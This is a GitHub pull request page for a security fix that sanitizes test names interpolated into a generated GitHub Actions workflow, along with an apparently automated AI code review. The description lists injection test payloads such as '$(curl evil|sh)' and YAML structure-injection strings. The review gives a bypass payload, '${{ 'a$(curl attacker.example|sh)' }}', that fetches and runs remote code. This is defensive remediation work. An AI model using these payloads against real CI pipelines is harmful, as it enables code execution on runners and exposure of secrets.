Skip to content

fix(5): quarantine workflow generation — YAML+shell-safe test identifier boundary (CodeQL #5) - #465

Closed
Alajmah wants to merge 1 commit into
masterfrom
security/quarantine-yaml-shell-escaping
Closed

Alajmah wants to merge 1 commit into
masterfrom
security/quarantine-yaml-shell-escaping

Conversation

@Alajmah

@Alajmah Alajmah commented Nov 20, 2026

Copy link
Copy Markdown
Contributor

Summary

Unit 1 of the authorized #425 remediation sequence (#5 → #1+#2 → #3 → #4). Remediation of CodeQL js/incomplete-sanitization #5 — the highest-priority finding in the tranche (direct command-execution potential). Merge authority reserved; returned at exact head for clearance.

The defect (verified in the tranche report, comment 7053127297)

buildQuarantineWorkflow() (flakyTestService.js) interpolates untrusted test-suite and test-name values (parsed from repository CI output) into a generated GitHub Actions workflow, escaping only double quotes:

  1. Shell layer: a test name containing \ — specifically a name embedding \" — defeats the escaping: the doubled backslash collapses and the quote closes the --testNamePattern="…" argument early, so the test-name remainder runs as shell syntax in the Actions runner. $ and backtick also expand inside double quotes (command substitution / variable expansion) even with correct quote escaping.
  2. YAML layer (the maintainer's additional required boundary): an embedded newline/carriage-return is the only character class that can escape the command: | block scalar's indentation or the trailing # comment lines and inject workflow structure (e.g. a name crafted as ok\nruns-on: …\n - run: malicious).

Attacker path: PR author adds a deliberately flaky test (random pass/fail) with a crafted name → flaky-detector candidates → generated quarantine workflow → bot PR → human merge (weak gate: generated YAML is boilerplate nobody line-reads).

The correction

New exported boundary sanitizer sanitizeTestIdentifier() applied uniformly at both interpolation sites (test filter and comment lines — one function, no per-site decisions):

  • YAML layer: every C0 control character plus DEL (\u0000–\u001f, \u007f) becomes a space — no legitimate test identifier contains them, and they are the only characters that can re-enter structure at this layer.
  • Shell layer: backslash escaped first (escaping quotes before backslashes is exactly what let \" collapse the escape), then double quote, dollar sign, and backtick — the complete expansion/substitution surface inside POSIX double quotes.

buildQuarantineWorkflow exported for testability. Generated workflow byte-identical for benign names.

Regressions (packages/web/tests/unit/flaky-quarantine-escaping.test.js, 11 tests + 2 pre-existing)

Per the directive: crafted names cannot execute an additional command, alter workflow structure, or change the intended filter argument; normal names produce equivalent behavior.

  • Real YAML parsing (js-yaml 4.3.2): the generated document parses with exactly one job, four steps, intended runs-on, and intended on: triggers — for payloads embedding runs-on:, - run: malicious, on: [push], jobs: via \n and \r\n. Injected text survives only as data inside the argument.
  • POSIX double-quote decoder over the extracted --testNamePattern= argument tail: for \", $(curl evil|sh), backtick, ${IFS}, and multi-candidate | joins, the decoded payload is the literal name and the terminating quote is the intended one (post-close remainder is exactly 2>&1) — the closing-quote test that distinguishes a well-formed argument from an early-close injection.
  • Benign equivalence: ordinary names (auth > logs in with valid token [slow]) sanitize byte-identically; comment lines carry the same flattening; no control characters anywhere in the generated document.

Verification

  • New suite 13/13 green alongside the existing flaky-test suite (unchanged, still green).
  • No behavior change outside the quarantine-workflow generator.

… YAML and shell layers

CodeQL js/incomplete-sanitization #5 remediation (flakyTestService.js:220):
testFilter escaped only double quotes. A test name containing a backslash
(specifically \") defeats that escaping in the generated Actions command —
the doubled backslash collapses and the quote closes the shell argument
early, executing the remainder as shell syntax in the runner. Dollar signs
and backticks also expand inside double quotes.

New boundary sanitizer sanitizeTestIdentifier(), applied uniformly at both
interpolation sites (filter and comments):
- YAML layer: all C0 controls + DEL become spaces — the only characters
  that can escape a command:| block scalar or a trailing comment line and
  inject workflow structure
- shell layer: backslash FIRST, then double quote, dollar sign, backtick

buildQuarantineWorkflow now exported for testing.

Regressions (flaky-quarantine-escaping.test.js, 13 tests): real js-yaml
parse of the generated document with structure assertions (one job, four
steps, injected runs-on/on: keys survive only as data); POSIX double-quote
decoder proving the closing quote is the intended one (rest === 2>&1) for
crafted \", $(), backtick, ${IFS}, newline and CR payloads; benign names
byte-identical (equivalent quarantine behavior).

Signed-off-by: Alajmah <55954113+Alajmah@users.noreply.github.com>
@chatgpt-codex-connector

Copy link
Copy Markdown
Codex Review Summary: ❌ Failed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ❌ Failed 2026-11-20T23:35:14.253793Z
We couldn’t complete this review. Comment @codex review to try again.
4029c30 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@chatgpt-codex-connector

Copy link
Copy Markdown

You have reached your Codex usage limits for code reviews. You can see your limits in the Codex usage dashboard.
To continue using code reviews, you can upgrade your account or add credits to your account and enable them for code reviews in your settings.

@Alajmah

Alajmah commented Nov 21, 2026

Copy link
Copy Markdown
Contributor Author

/gitwire run review

@gitwire-hq

gitwire-hq Bot commented Nov 21, 2026

Copy link
Copy Markdown
Contributor

▶️ GitWire: Re-evaluation triggered for review. Results will appear shortly.

@gitwire-hq gitwire-hq Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤖 AI Code Review — ❌ Changes requested

Confidence: high · Findings: 3
AI judgment: REQUEST_CHANGES · Evidence: COMPLETE · Authority: repository policy blocked
Evidence complete · 2/2 changed files accounted for

1 critical issue require attention before merging.

Key issues

  • [CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible (packages/web/src/services/flakyTestService.js) 🔮

Other findings (2)

  • [medium] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls
  • [low] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics

🔮 Devil's Advocate (2 turns): 3 upheld


GitWire AI Review Gate (bundle-driven v2) · Structured schema · Scope-validated · Devil's Advocate · Repository policy blocked this merge

return String(value ?? "")
.replace(/[\u0000-\u001f\u007f]+/g, " ")
.replace(/\\/g, "\\\\")
.replace(/"/g, '\\"')

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible

The fix escapes $ as \$ for bash, but the generated value passes through a THIRD evaluation layer first: GitHub Actions expression expansion. The runner evaluates ${{ ... }} inside the command:/with: value before any shell runs, and a backslash is not an escape in the expression language — \${{ ... }} in the file is still evaluated. The substituted result is inserted after all escaping has been applied, so any $(, backtick, or quote in the result re-enters bash unprotected; the stray \ from \$ can even help an attacker break the quotes (\ + \ -> literal backslash, then the attacker's \" closes the string). A test name as simple as ${{ 'a$(curl attacker.example|sh)' }} becomes \a$(curl attacker.example|sh) inside the double-quoted argument after expansion, and bash executes the substitution on the runner; ${{ secrets.* }} expressions are also inlined into argv. The new tests cannot catch this: js-yaml and the shell tokenizer validate the file text, not the expression-expanded value, so they stay green while the bypass persists. Suggested fix: neutralize ${{ in sanitizeTestIdentifier before the shell-escaping replaces (e.g. .replace(/\$\{\{/g, "{")), or reject identifier values containing {{.

// Escaping is identical at both interpolation sites (filter and comments) by
// policy: one function, no per-site decisions.
export function sanitizeTestIdentifier(value) {
return String(value ?? "")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls

The strip class covers C0 (0x00-0x1F) plus DEL only. YAML 1.1 additionally treats NEL (U+0085), LS (U+2028), and PS (U+2029) as line breaks, and the Actions runner's parser implements YAML 1.1 semantics — so an identifier containing one of these characters can terminate a trailing # comment line mid-value and inject top-level workflow keys, or disturb the command: | block scalar. js-yaml, used in the new tests, treats these as ordinary printable characters and honors only LF/CR, so the added assertions pass while the boundary remains open for runners using 1.1 break semantics. Bare C1 controls (0x80-0x9F except NEL) are also non-printable in YAML and can make the generated file invalid for strict parsers, breaking the workflow run. Fix: widen the class to /[\u0000-\u001f\u007f-\u009f\u2028\u2029]+/g, i.e. strip everything below U+0020 plus 0x7F-0x9F and the two Unicode line separators.

}

export function buildQuarantineWorkflow(candidates, repository) {
const testFilter = candidates

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics

After shell decoding, the value reaches jest's --testNamePattern as a regular expression, so metacharacters the sanitizer deliberately passes through stay active at that layer: $ is an anchor, and | ( ) [ ] * + ? { } alter alternation, grouping, and quantifiers. A crafted name can widen which tests the quarantine workflow matches, or make the combined |-joined pattern invalid and fail the run entirely. This is not command execution and predates the patch, but since this PR's stated goal is that test identifiers remain data, consider regex-escaping metacharacters (prefixing with \\) or documenting that the filter is best-effort for names containing regex syntax.

@Alajmah

Alajmah commented Nov 21, 2026

Copy link
Copy Markdown
Contributor Author

Superseded by the v2 PR: the re-run review (REQUEST_CHANGES, ai_reviews 1442) found a CRITICAL gap my v1 missed — GitHub Actions evaluates ${{ ... }} at workflow-parse time and shell escaping does not neutralize it — plus YAML 1.1 line-break characters (NEL/LS/PS/C1) not stripped. Both corrected in v2 (${{ opener broken first; control class extended). The LOW finding (testNamePattern regex interpretation) is pre-existing, recorded there.

@Alajmah Alajmah closed this Nov 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant